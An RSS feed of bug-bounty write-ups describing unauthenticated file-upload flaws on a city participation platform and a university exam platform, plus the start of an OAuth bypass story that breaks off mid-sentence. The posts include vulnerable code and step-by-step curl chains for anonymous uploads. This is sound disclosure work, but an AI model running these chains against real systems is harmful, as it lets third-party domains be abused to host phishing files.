<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Priyansh on Medium]]></title>
        <description><![CDATA[Stories by Priyansh on Medium]]></description>
        <link>https://medium.com/@priyanshbhadoria5?source=rss-3df8e98f0e63------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ddKrphEGuqX2BITAAippfw.jpeg</url>
            <title>Stories by Priyansh on Medium</title>
            <link>https://medium.com/@priyanshbhadoria5?source=rss-3df8e98f0e63------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 21:36:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@priyanshbhadoria5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How two forward slashes let anyone use a government website as a free file host]]></title>
            <link>https://medium.com/@priyanshbhadoria5/how-two-forward-slashes-let-anyone-use-a-government-website-as-a-free-file-host-e12a44ef4064?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/e12a44ef4064</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugs]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 08:46:11 GMT</pubDate>
            <atom:updated>2026-11-02T08:46:11.050Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8awRlFHQx4l1gwdue0-KA.png" /></figure><p>The most dangerous line of code I have ever found was commented out.</p><p>Not missing. Not forgotten. Someone wrote it — and then somebody typed two forward slashes in front of it and moved on with their day.</p><p>Because of those two slashes, a government website accepted a file from me — a stranger with no account, no credentials, and no permission of any kind — gave it a UUID for a name, and promised to serve it to the internet, essentially, forever.</p><p>I still keep the tab open in my browser. Like a splinter I’m not allowed to pull out.</p><p>The story of how that file got there starts three weeks earlier, with 2,135 subdomains, a rule I was starting to hate, and nothing whatsoever to show for any of it.</p><h3>The rule I hated</h3><p>Every hunt has house rules. Mine ran through the city’s coordinated vulnerability disclosure programme — the deal where researchers probe a government’s public infrastructure, and the government handles what they find like adults instead of like an incident. Identify yourself on every request. No brute forcing, no denial of service, no touching personal data. Human pace: one request, then a 2.5-second breath, every single time, because the traffic should look like a person — it is a person.</p><p>And one rule that quietly ran the whole campaign: <strong>only submit findings rated medium or higher.</strong></p><p>That bar is expensive. It means walking past bugs other hunters would happily cash. It means watching someone else submit the finding you just declared not good enough — and collect. It means the submission queue sits empty for weeks while you keep telling yourself the bar is a compass, not an obstacle.</p><p>Hold that thought. It becomes the whole story.</p><h3>Weeks of elegant nothing</h3><p>The campaign opened the quiet way: passive recon, zero packets sent to the target. Certificate transparency logs, passive DNS, the urlscan archive. I harvested <strong>2,135 subdomain names</strong> under the city’s top-level domain, resolved them down to <strong>578 live addresses</strong>, and watched them cluster into families: a legacy estate of 144 hosts on one old subnet, a corporate block left over from an outsourcing era, and a fast-growing Azure fleet — the unmistakable fingerprint of a government mid-migration to the cloud. Nine third-party services hiding behind the city’s DNS. Internal hostnames peeking out of a public uptime-monitoring repository on GitHub, quietly announcing where the soft organs of the network were.</p><p>Seventy-five hosts made the shortlist for active testing. Forty-three were alive. And nearly every single one of them was a wall.</p><p>Beautiful walls, to be fair. Admin environments behind Azure’s zero-trust front door. Document systems behind Keycloak realms. This is what two decades of professionalization looks like from the outside: a lot of very locked doors.</p><p>So I picked the locks that were legal to pick, one polite request at a time.</p><p>The school-finder portal with its Laravel CMS? Strict validation; every mass-assignment attempt slapped down with a 422. Dead end. The IoT sensor register behind Entra? Every Application Proxy pre-auth trick I knew, from method tampering to path normalization — airtight. Dead end. The traffic portal, where I traced all eighteen dangerouslySetInnerHTML sinks through 1.7 MB of beautified JavaScript? Vendor-internal, every write 403-gated at the API. Dead end. The artist-studio platform on Mendix? Every entity read denied — a textbook anonymous role. Dead end.</p><p>The parking-permits portal actually looked promising, right up until I reconstructed 65 frontend routes and 107 endpoints from its bundle and discovered the vendor’s API geo-fences my entire region. Verified in code, unverifiable in reality. Dead end, with a signature.</p><p>Then the cruelest stretch: the document system’s OAuth layer. Days spent dissecting its flows like a frog in biology class. A public connect-check endpoint that exchanged authorization codes <em>before</em> validating state — a textbook login-CSRF precondition. Redirect URIs accepted across whole hosts. A CORS policy that reflected arbitrary origins. Each one looked juicy at write-up length. Each one, tested honestly, came up thin: no demonstrable victim, no working exploit path, no credentials in the reflection. Impact below the bar.</p><p>I dropped them all. Every single one.</p><p>And then CivicHub happened — round one. The city’s open-source citizen-participation platform. I found a token leaking into a URL. A real finding. A genuine security smell. I wrote it up, rated it honestly — <strong>low</strong> — and put it in the below-bar drawer with everything else.</p><p>That decision felt like masochism at the time. It turned out to be the single best decision of the campaign. Dropping the low finding meant I had to come back.</p><p>And coming back meant reading.</p><blockquote><em>The bar only pays off if you hold it when it hurts. So I held it.</em></blockquote><h3>The blueprints were public</h3><p>Here is the thing I had been too distracted to use: CivicHub is open source.</p><p>Not a sample. Not a partial dump. The actual codebase of the system running in production, published by the city on GitHub — a 30.7 MB monorepo covering the admin server, the API server, the OAuth server, and the image server. Four vhosts on a single Azure IP, Host-header routing, an identical acceptance stack. The blueprints of the house were sitting in public, and I had spent round one on the doorstep, knocking on windows.</p><p>So I stopped hunting CVEs and started reading. Route by route, middleware by middleware, the way a detective reads a case file, asking one question at every file boundary:</p><p><strong>“Who is allowed to be here — and who actually checks?”</strong></p><p>That question is the entire discipline of application security in eleven words. Most code answers it well. The interesting files answer it with a shrug.</p><p>I built the matrix endpoint by endpoint — twenty-four API route families plus the auth, notification, stats, and plugin routes, every gate noted. And somewhere in the middle of that matrix, in apps/api-server/src/routes/api/upload.js, two forward slashes caught my eye.</p><h3>Two slashes</h3><p>The file did exactly what its name promised: uploads, under /api/project/:projectId/upload/. In Express, a route like that should begin with a checkpoint — a small block of middleware that inspects the request for a valid session and returns a 401 if it doesn&#39;t find one.</p><p>The checkpoint existed. It was right there in the file. It just wasn’t doing anything:</p><pre>router<br>  .route(&#39;/images|/image|/document|/documents&#39;)<br>  .post(rateLimiter(), (req, res, next) =&gt; {<br>    // check if req.user is set<br>    // if (!req.user || !req.user?.id) {<br>    //   console.log (&#39;upload path: no user found&#39;, req.user);<br>    //   return res.status(401).send(&#39;Unauthorized&#39;);<br>    // }<br>    next();<br>  })<br>  .post(imageProxyMw);</pre><p>Read it slowly, because I certainly did. The authorization check for the upload route has been commented out. Not removed. Not refactored. Commented out — the programming equivalent of taping a note that says DOOR OUT OF ORDER over a perfectly functional deadbolt. The lock still exists. The note is the only thing stopping nobody.</p><p>Hunters see vulnerable code all the time. But there is a special category for code where the fix already existed and someone switched it off. That is not a missing control. That is a disabled one. And disabled controls stay disabled for years, because the code <em>looks</em> like it has auth in it. Reviewers read what they expect to read.</p><p>Now, a commented-out check is only fatal if anonymous requests can survive the surrounding machinery. I kept reading upstream, and the picture got worse. Three pieces of code, each defensible in a code review:</p><p><strong>The greeter.</strong> In the user middleware, requests arriving <em>without</em> an Authorization header are not rejected. They are given an identity: req.user = { role: &#39;anonymous&#39;, id: null }. The system doesn&#39;t slam the door on the stranger at the counter. It hands him a name badge and lets him walk the halls.</p><p><strong>The laundry.</strong> For upload paths specifically, any incoming Authorization header is <em>replaced</em> with a freshly minted internal JWT — userId: &#39;9999999&#39;, signed with the server&#39;s own secret, valid five minutes, issued regardless of who is asking. The stranger doesn&#39;t just get into the building. The building issues him a company ID card under a number no auditor will ever miss.</p><p><strong>The smuggler.</strong> The upload proxy forwards accepted files to the internal image server and injects the internal image-token into every request it forwards — including the anonymous ones it just waved through. The image server&#39;s own defense was correct and working. The trust boundary dissolved from the inside.</p><p>The greeter, the laundry, the smuggler. Three accomplices, zero bad intentions, one confused deputy — held together by two forward slashes where a 401 used to be.</p><p>Reading code tells you what <em>should</em> be true. Only a request tells you what <em>is</em>.</p><h3>One POST</h3><p>The proof was aggressively boring. That is what good proofs are.</p><p>One tiny transparent PNG. One POST to the upload endpoint with no cookies, no tokens, nothing clever. If the door is open, you just open it:</p><pre>printf &#39;iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==&#39; \<br>  | base64 -d &gt; poc.png    # a 1x1 transparent PNG</pre><pre>curl -s -X POST &#39;https://api.v2.example.com/api/project/1/upload/image&#39; \<br>  -F &#39;image=@poc.png;type=image/png&#39;<br># (the real request also carried the programme&#39;s researcher-identification header)</pre><p><strong>Two hundred.</strong></p><pre>{&quot;name&quot;:&quot;cvd-poc_png&quot;,<br> &quot;url&quot;:&quot;https://image.v2.example.com/image/cvd-poc-802deca4-e2ed-43b3-82b1-fb1185812de9_png&quot;}</pre><p>Production. The server running the city’s real citizen-participation projects just accepted a file from a completely anonymous request. Acceptance behaved identically. I repeated it with images and documents, across every route variant — same result each time: 200, a JSON body, a fresh UUID.</p><p>Then I fetched the file back, and the finding grew edges:</p><pre>HTTP/2 200<br>content-type: image/png<br>access-control-allow-origin: *<br>cache-control: public,max-age=31536000<br>x-width: 1<br>x-height: 1</pre><p>Read those headers the way an attacker would. <strong>Any website on the internet</strong> can fetch this file cross-origin from JavaScript. <strong>Every cache on earth</strong> is instructed to store it as immutable — for a full year. The filename is <strong>unguessable</strong>, so only the sender and the intended target ever know the URL. And the image service has <strong>no delete endpoint</strong> — I enumerated every route it exposes. Upload: yes. Read: yes. Delete: absent.</p><p>The math is the part I could not stop recalculating. The rate limiter allows 100 uploads per minute per IP. That is <strong>~144,000 files per day, per IP</strong>, with no quota and no cleanup. The guardrails limit what each file <em>is</em> — SVGs rejected with a 415 by a proper extension allowlist, documents forced to download as attachments — but nothing limits how many there are, or how long they live.</p><p>I left exactly three marker files, each clearly named as mine, each benign — two 1×1 PNGs and a tiny text-only PDF — and disclosed all three URLs in the report so they could be cleaned the moment it landed. A proof of concept is a demonstration. Demonstrations should be tidy.</p><h3>The twist that almost got away</h3><p>After a find like that, you go back over the whole codebase hunting for siblings. If one route’s gate was commented out, what else had been silenced?</p><p>That is when I found it, in the user routes: PUT /api/project/:id/user/:uid/reset-two-factor. In the public source, the handler has <strong>zero authorization checks</strong>. Any anonymous caller could wipe an arbitrary user&#39;s two-factor authentication. If that were live, it would not be a medium. It would be a critical with a bow on it.</p><p>I tested it the only responsible way — read-only, nonexistent user IDs first:</p><pre>curl -s &#39;https://acc.api.v2.example.com/api/project/1/user/999999999/two-factor-status&#39;<br># → 404 {&quot;message&quot;: &quot;User not found&quot;}     ← the handler RAN unauthenticated</pre><pre>curl -s &#39;https://acc.api.v2.example.com/api/project/1/user/1/two-factor-status&#39;<br># → 403 &quot;You cannot manage two factor for this User&quot;</pre><p>A 403. An authorization check — present, working, and completely absent from the public repository. Same result on production.</p><p>The GitHub repo, it turns out, lags the deployed code. The version running in production is newer, carrying fixes that never made it to the open-source mirror. My critical was a fossil: a fixed vulnerability, perfectly preserved on GitHub long after it died in production.</p><p>And there is the symmetry that matters. The upload finding survived the exact same test that killed the 2FA candidate. Same platform, same verification discipline, opposite verdicts.</p><blockquote><em>The repository is a map of the past. The server is the territory.</em></blockquote><h3>Why a “file upload” is bigger than it sounds</h3><p>“Unauthenticated file upload” sounds like plumbing. Say it slower.</p><p>It is a free, permanent, highly available hosting service on a trusted government domain — no account, no quota, no content moderation, no delete button. A phishing-kit author’s dream stack, assembled by accident.</p><p>Think about what a genuine government hostname buys an attacker. Email filters that score sender and linked domains give government infrastructure the benefit of the doubt. Security-awareness training teaches users to hover over links and check the domain — and this one <em>is</em> the domain, as legitimate as the city’s own press releases, wearing the city’s actual TLS certificate. The domain you would tell a victim to trust is the domain hosting the attack.</p><p>Now add the cache headers. A file cached as immutable for a year is not just available — it is <em>distributed</em>. Once a corporate proxy or ISP cache has fetched it, the copy outlives the original; deleting the file after a campaign does not recall what is already circulating. Unguessable UUID paths make one-to-one targeting discreet. The CORS wildcard makes scripted embedding trivial.</p><p>You cannot buy this infrastructure from any legitimate host. The city was giving it away.</p><p>I rated it <strong>medium</strong> — honestly bounded: no XSS, no RCE, file types restricted, rate limited. Severity ratings are a language for consequences, not mechanics. The mechanic is two comment slashes. The consequence is a municipal government’s domain being conscripted — permanently, at zero cost — into infrastructure for impersonating that same government.</p><p>The fix, meanwhile, is almost embarrassing: the 401 branch is already written. It is sitting in the source, behind the slashes. Uncomment it — and delete the ghost-user branch while you are in there. The harder half is the debt the finding exposes: no deletion, no retention, no quota, on a service that was accidentally public.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e12a44ef4064" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Silent Websocket Led Me to Unauthenticated Uploads on a University’s Exam Platform]]></title>
            <link>https://infosecwriteups.com/the-anonymous-5-gb-file-host-that-almost-wasnt-how-a-silent-websocket-led-me-to-unauthenticated-c34120be1492?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/c34120be1492</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[growth-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Sun, 20 Sep 2026 17:55:46 GMT</pubDate>
            <atom:updated>2026-11-21T14:41:32.043Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDuNJuoNKTerK5eV6wtDKg.png" /></figure><h3>Intro: The Wall</h3><p>I expected this one to be easy. A digital-exam platform — the kind that grades thousands of students, stores their submissions, their identities, their futures — running an acceptance (staging) instance on the university’s own domain. In my experience, staging instances are where production hygiene goes to die: debug endpoints, default credentials, forgotten admin panels.</p><p>It wasn’t easy. For the better part of a day, every single route I touched threw 401 or a login redirect in my face. Two full OpenAPI specs — 481 operations across them — every single one demanding a bearer token. It was, briefly, the most boring target I&#39;d ever seen.</p><p>The lesson I keep re-learning: the 401 wall is not a stop sign. It’s a filter. It filters out everyone who scans, shrugs, and moves on. What’s left behind, for whoever stays, is the interesting question: <em>are all of these 401s the same 401?</em></p><p>Here’s the full story.</p><h3>Phase 1: Recon (Or So I Thought)</h3><p>Tools: curl, OpenSSL/TLS inspection, DNS lookups (CNAME tracing), a browser, jq, and a lot of downloading.</p><p>First contact with <a href="https://staging.example.com/">https://staging.example.com:</a></p><ul><li>TLS certificate issued to the university itself — first-party asset, in scope.</li><li>Root URL → 302 → /users/auth/saml/{school-uuid} → the university SSO via a national research-federation IdP. No way in without credentials I didn&#39;t have (and wasn&#39;t allowed to fabricate).</li><li>Framework fingerprint: Ruby on Rails + Devise. The X-Request-Id / X-Runtime response headers, the csrf-token meta tag on the sign-in page, /users/sign_in — the whole familiar silhouette.</li><li>DNS was a gift. staging.example.com was a CNAME to the vendor&#39;s staging edge behind a CDN — and the production host, example.com, was a CNAME to the vendor&#39;s <em>multi-tenant customers edge</em>. The university&#39;s &quot;own&quot; exam platform was one tenant on a shared SaaS. The vendor&#39;s apex didn&#39;t even resolve the university&#39;s tenant name (NXDOMAIN). Two important consequences: (1) any platform-level flaw would exist on <em>every customer</em>, and (2) any fix would have to come from the vendor — the university could only ask.</li><li>GET /status — no auth required — happily disclosed the exact platform version and git revision. Staging and production ran the <em>same version</em> with <em>different revisions</em>: same code, two separate deploys. I didn&#39;t know yet how much that one detail would matter.</li><li>robots.txt explicitly allowed /users/sign_in (remember this). The sitemap was vendor marketing pages — including the vendor&#39;s own responsible-disclosure page, which told me exactly where this report would eventually go.</li><li>/api/docs was public and linked two OpenAPI specs: version 2 (111 paths, 218 operations) and a beta spec (128 paths, 263 operations). I downloaded both — about 1 MB each — and swept every operation unauthenticated: all 401.</li><li>I also pulled the entire frontend: the main application bundle (~4.9 MB of JavaScript), a code-editor widget (~1.2 MB), a math-rendering library (~830 KB), all the CSS.</li></ul><p>My thinking: <em>“A SaaS staging instance with version disclosure and public API docs — classic. All the API ops are gated, but staging boxes always have that one forgotten surface: a Rails info route, a Sidekiq panel, a health endpoint that says too much. Let me enumerate Rails-convention routes and every route the JS bundle mentions.”</em></p><h3>Phase 2: The Rabbit Hole</h3><p>I swept every route I’d discovered — from the JS bundles, from the OpenAPI specs, and from Rails convention (/rails/info, job dashboards, mail previews, metrics endpoints, admin panels). Result: everything returned 401 or a 302 to login. Everything except /status, the swagger docs, and the SAML metadata. It was genuinely, aggressively well-gated.</p><p>Then three rabbit holes, in order:</p><p>1. The CSP header as a free architecture map. The platform’s Content-Security-Policy named its entire backend topology: the S3 upload bucket, a Swift object-store bucket, a separate grading service, a monitoring ingest, and more. I tested the object store directly: properly 401. The upload bucket: private, AccessDenied on everything anonymous. Dead end — but now I knew exactly <em>where</em> files lived.</p><p>2. The websocket that welcomed me in. GET /cable returned 404 for a plain HTTP request — odd enough to investigate. Upgraded to a websocket… and received {&quot;type&quot;:&quot;welcome&quot;} without any authentication whatsoever. My pulse went up. I connected to every ActionCable channel name I could extract from the frontend bundle — result channels, quiz-response channels, quiz-participant channels, assignment-sync channels — and every one of them correctly reject_subscription&#39;d an anonymous client. Every one… except DashboardChannel, which confirmed my anonymous subscription. I sat there listening, imagining exam results streaming past. What actually streamed: server counts and queue throughput. Operations telemetry. The channel accepted no perform actions from me at all. (Later, a server-side enumeration of 44 candidate channel names would confirm only 6 exist, and a 75-second silent listen on DashboardChannel captured zero broadcasts. Ops telemetry, and quiet ops at that.)</p><p>3. Hours of nothing. Forty-one gated API paths here, a few hundred gated operations there, a websocket that tells me the queue is healthy. I was very close to writing this target off as “properly hardened, nothing to report.”</p><p>And then, buried in my route-probe output — the output I’d already skimmed twice — there was one 401 that didn&#39;t read like the others.</p><p>Every other endpoint said:</p><pre>You need to sign in or sign up before continuing</pre><p>That’s Devise. That’s an <em>authentication</em> failure — a security filter turned me away at the door.</p><p>But POST /rails/active_storage/direct_uploads said:</p><pre>Can’t verify CSRF token authenticity</pre><p>That’s not an authentication error. That’s Rails’ forgery check complaining — which means the request got PAST every authentication filter, into the controller, and died one layer deeper.</p><h3>Phase 3: The Pivot</h3><p>That single sentence difference is the entire vulnerability, telegraphed in an error message.</p><p>Two possibilities: either the controller had an auth filter that somehow passed me anonymously (Devise doesn’t do that), or — far more likely — the controller had no authentication filter at all, and the only thing standing between an anonymous internet and a database write was a CSRF token… which Rails hands out for free to anyone who loads a page.</p><p>Rails had been handing me that token all day. It’s in the sign-in page — the one robots.txt explicitly permits:</p><pre># Step 1 — no credentials, no captcha, one GET request<br>curl -sk -c cookies.txt https://staging.example.com/users/sign_in -o page.html<br>CSRF=$(grep -oP ‘name=”csrf-token” content=”\K[^”]+’ page.html)</pre><pre># Step 2 — replay the POST with the free token<br>curl -sk -b cookies.txt -X POST \<br> -H “X-CSRF-Token: $CSRF” \<br> -H “Content-Type: application/json” \<br> -H “Accept: application/json” \<br> -d ‘{“blob”:{“filename”:”probe.html”,”content_type”:”text/html”,<br> “byte_size”:107,”checksum”:”&lt;base64-md5&gt;”}}’ \<br> https://staging.example.com/rails/active_storage/direct_uploads</pre><p>HTTP 200. The JSON response was, essentially, an anonymous self-service upload kit:</p><pre>{<br> “id”: “d0e42529–1177-…”,<br> “key”: “n5fojj1twxqcq4embp5mdsze…”,<br> “signed_id”: “eyJfcmFpbHMiOnsiZGF0YSI6… — e262c79f84cb…”,<br> “direct_upload”: {<br> “url”: “https://example-stage-uploads.s3.eu-central-1.amazonaws.com/n5fojj…?X-Amz-Signature=…&quot;,<br> “headers”: { “Content-Type”: “text/html”, “Content-MD5”: “…”, “Content-Length”: “107” }<br> }<br>}</pre><p>Three things I did not have to work for: a permanent, server-signed serving token (signed_id — base64 JSON + HMAC); a presigned S3 PUT URL valid for 300 seconds straight into the platform&#39;s own upload bucket; and the exact headers to send — <em>headers I had chosen myself</em>, because they&#39;re just echoed back from my request body.</p><pre># Step 3 — PUT attacker-controlled bytes into the platform’s bucket<br>curl -s -X PUT -H “Content-Type: text/html” -H “Content-MD5: &lt;md5&gt;” \<br> — data-binary @probe.html “&lt;presigned url&gt;”<br># → 200 OK (stored server-side encrypted, AES256)</pre><pre># Step 4 — serve it back, from the university’s domain, to ANY anonymous visitor<br>curl -sk “https://staging.example.com/rails/active_storage/blobs/proxy/&lt;signed_id&gt;/probe.html&quot;<br># → HTTP/2 200, byte-identical payload</pre><p>Step 4 needs no cookies, no tokens, nothing. The response headers were the punchline:</p><pre>content-disposition: attachment; filename=&quot;probe.html&quot;<br>content-type: application/octet-stream<br>cache-control: max-age=3155695200, public, immutable<br>last-modified: Fri, 31 Dec 2010 23:00:00 GMT   ← Rails&#39; little constant joke<br>x-runtime: 0.227296</pre><p>cmp confirmed the served bytes were identical to my payload. Four requests, zero credentials: anonymous file hosting on a trusted university domain, cached publicly for a year. That&#39;s the partial win — I had a working chain on staging, and I stopped touching anything except my own files.</p><h3>Phase 4: The “Oh No” Moment</h3><p>Then came the doubt spiral, and it was a good one.</p><p>Escalation attempt #1 — stored XSS. I’d chosen text/html deliberately. A file with my domain&#39;s origin and my JavaScript, served from the university&#39;s exam platform? That&#39;s a High, maybe Critical. So I fetched it and got… application/octet-stream, attachment. I tried ?disposition=inline. Ignored. I tried the redirect variant with response-content-disposition=inline. 302, no dice. (Much later, reading the framework source would explain why — see Phase 5.) XSS: dead.</p><p>Escalation attempt #2 — reading other people’s files. I hand-forged a signed_id without the HMAC. 404. I tried the S3 bucket directly, anonymous object GET, listing — 403 AccessDenied on everything. Blob keys are random 30-character tokens. Cross-tenant or cross-user reads: dead.</p><p>Escalation attempt #3 — the scope spiral. “So… you uploaded a file… to yourself?” That voice is annoying because it’s occasionally right. Worse: this wasn’t code the university wrote. This was the <em>vendor’s</em> Rails application. A platform-level flaw on a shared multi-tenant SaaS — would the program even accept it, or bounce it to the vendor’s own disclosure page? And with XSS dead and no data exposure, wasn’t this just… an anonymous file upload? Informational? Low?</p><p>I very nearly filed it as a Low and moved on. The finding had been sitting in my terminal for an hour, and it looked small from inside the doubt spiral.</p><h3>Phase 5: The 30-Second Check That Changed Everything</h3><p>Two habits saved this report, and each took about thirty seconds.</p><p>Habit #1: when a framework feature misbehaves, read the framework’s source — not a blog post about it. The app was a Rails 7.1 application, so I pulled the exact Rails 7.1.5 source and grepped for the controller. Here it is, in its entirety:</p><pre>class ActiveStorage::DirectUploadsController &lt; ActiveStorage::BaseController<br>  def create<br>    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)<br>    render json: direct_upload_json(blob)<br>  end<br>end</pre><p>And BaseController contains exactly one security line: protect_from_forgery with: :exception. No authentication filter exists anywhere in the framework&#39;s default controller chain. Rails&#39; own source comment on these controllers says it outright:</p><blockquote>“WARNING: All Active Storage controllers are publicly accessible by default. … If your files require a higher level of protection consider implementing Authenticated Controllers.”</blockquote><p>Thirty seconds, and the doubt spiral was over. This was not “working as intended” — this was a known-dangerous framework default that the application forgot to override. And the proof that it was an <em>oversight</em>, not a choice? The platform has its own custom /uploads controller, which correctly returns 401 You need to sign in or sign up before continuing. They built a locked front door for uploads and never noticed the framework had shipped a second door, default-open, in the same house. CWE-306: Missing Authentication for Critical Function. The disposition=inline mystery died here too: Rails 7.1&#39;s content_types_to_serve_as_binary includes text/html and image/svg+xml — both are force-downloaded as binary — and the inline allowlist is only images and PDF, none of which execute script. The framework&#39;s defaults had blocked my XSS; the framework&#39;s defaults had <em>also</em> left the upload open. I love Rails.</p><p>Habit #2: never close a finding without replaying it against the other environment. /status had told me staging and production ran the same version. So I pointed the identical 4-step chain at production example.com — the multi-tenant edge, real students, real exams:</p><ul><li>Unauthenticated blob create: 200, bucket example-prod-uploads.s3.eu-central-1.amazonaws.com</li><li>Presigned S3 PUT of a 6-byte labeled probe: 200</li><li>Anonymous serve of that blob: HTTP/2 200, byte-identical, same attachment, same one-year public, immutable cache header, x-runtime: 0.177694</li></ul><p>Production parity. Not a staging quirk. Live on the university’s real exam platform.</p><p>Final severity: Medium — an unauthenticated, unmetered write primitive (database + cloud storage) plus trusted-domain file hosting, honestly bounded below High because the framework’s defaults blocked script execution and the HMAC blocked reading anyone else’s files. The report wrote itself: full chain, negative controls (forged signed_id → 404; direct S3 → 403; inline disposition → ignored), root cause with framework source, every probe artifact listed by key for cleanup — all clearly labeled security-probe.</p><h3>Why This Worked</h3><p>The developer mistake was invisible by design. Nobody on the platform team wrote a vulnerable line. They built a custom, correctly-gated upload controller — and never audited the framework’s parallel route that ships enabled-by-default with every Rails app that touches ActiveStorage. Your most dangerous endpoints are the ones <em>your team never wrote</em>: defaults you inherited silently. The CSRF filter made it <em>look</em> protected (“it returns 401 for anonymous POSTs!”) while providing zero authentication value, because Rails hands the session and the token to any anonymous visitor of the public login page.</p><p>The control gaps stacked up. No authentication on the write path. No rate limit. No per-IP or per-account quota. No captcha on blob creation. No purge job for orphaned blobs. Individually, forgivable; together, they turn one missing before_action into an unmetered write primitive on a production multi-tenant exam platform.</p><p>The mindset did the rest:</p><ul><li><em>Error messages are fingerprints.</em> “Can’t verify CSRF token authenticity” and “You need to sign in” are both 401s, and a scanner treats them identically. One of them is a confession.</li><li><em>Conventions beat wordlists.</em> The vulnerable route wasn’t in the JS bundle or the OpenAPI specs. It’s in every Rails application ever built.</li><li><em>Read the source of the thing you’re accusing.</em> The framework’s own WARNING comment converted my empirical observation into a root-caused, unarguable finding — and told the vendor exactly which defaults to stop trusting.</li><li><em>Negative controls sell reports.</em> Because I documented what the bug <em>couldn’t</em> do (no XSS, no cross-user reads), the severity claim that survived was one nobody could argue with.</li><li><em>Never skip the other environment.</em> The prod replay took thirty seconds and doubled the impact.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*5M_BF3AB21UbHYnUdQoJeg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c34120be1492" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-anonymous-5-gb-file-host-that-almost-wasnt-how-a-silent-websocket-led-me-to-unauthenticated-c34120be1492">How a Silent Websocket Led Me to Unauthenticated Uploads on a University’s Exam Platform</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication vs. Authorization: How a Misconfigured OAuth Chain Led to an Auth Bypass]]></title>
            <link>https://infosecwriteups.com/authentication-vs-authorization-how-a-misconfigured-oauth-chain-led-to-an-auth-bypass-b14d1c0d402a?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/b14d1c0d402a</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Thu, 20 Aug 2026 12:59:22 GMT</pubDate>
            <atom:updated>2026-08-20T12:59:22.732Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhroNnbsPxYRYtFGPrZNwA.png" /></figure><p>When you look at a bug bounty scope with massive enterprise root domains, it’s easy to get overwhelmed. Most hunters will fire off their automated scanners, look for low-hanging fruit like missing security headers, and move on. But sometimes, the most critical vulnerabilities are hiding in the cloud authentication layer of a Single Page Application (SPA) that looks completely impenetrable at first glance.</p><p>Today, I want to share a story of how I found a critical authentication bypass on an internal enterprise aviation operations web application. We’ll go step-by-step through the recon, the dead ends, the OAuth deep dive, and the exact moment when a misconfigured cloud identity layer exposed a fatal flaw in the application’s access control.</p><p>Let’s get into it.</p><h3>Phase 1: The Recon and the “Boring” Target</h3><p>I started my recon like any other engagement: running subfinder to enumerate subdomains and piping the results into httpx to grab HTTP status codes, titles, and tech stacks.</p><p>Most of the scope returned standard CMS installations, API gateways returning 401 Unauthorized, or redirect loops. But one subdomain caught my eye. Let’s call it target.com.</p><p>When I hit the root path, I got a 200 OK with a completely blank HTML body:</p><pre>&lt;!doctype html&gt;<br>&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;meta charset=&quot;utf-8&quot;/&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1&quot;/&gt;<br>&lt;title&gt;Internal Ops Portal&lt;/title&gt;&lt;script defer=&quot;defer&quot; src=&quot;/static/js/main.abc123.js&quot;&gt;<br>&lt;/script&gt;&lt;link href=&quot;/static/css/main.def456.css&quot; rel=&quot;stylesheet&quot;&gt;<br>&lt;/head&gt;&lt;body&gt;&lt;div id=&quot;root&quot;&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;</pre><p>This was a React Single Page Application. SPAs are notoriously difficult to test because all the routing and business logic happen client-side, and the backend API is often hidden behind a reverse proxy that returns the index.html file for any unknown path (a catch-all route).</p><p>I tried probing common API paths like /api/v1/users, /api/docs, and /swagger-ui.html. Every single request returned a 200 OK with 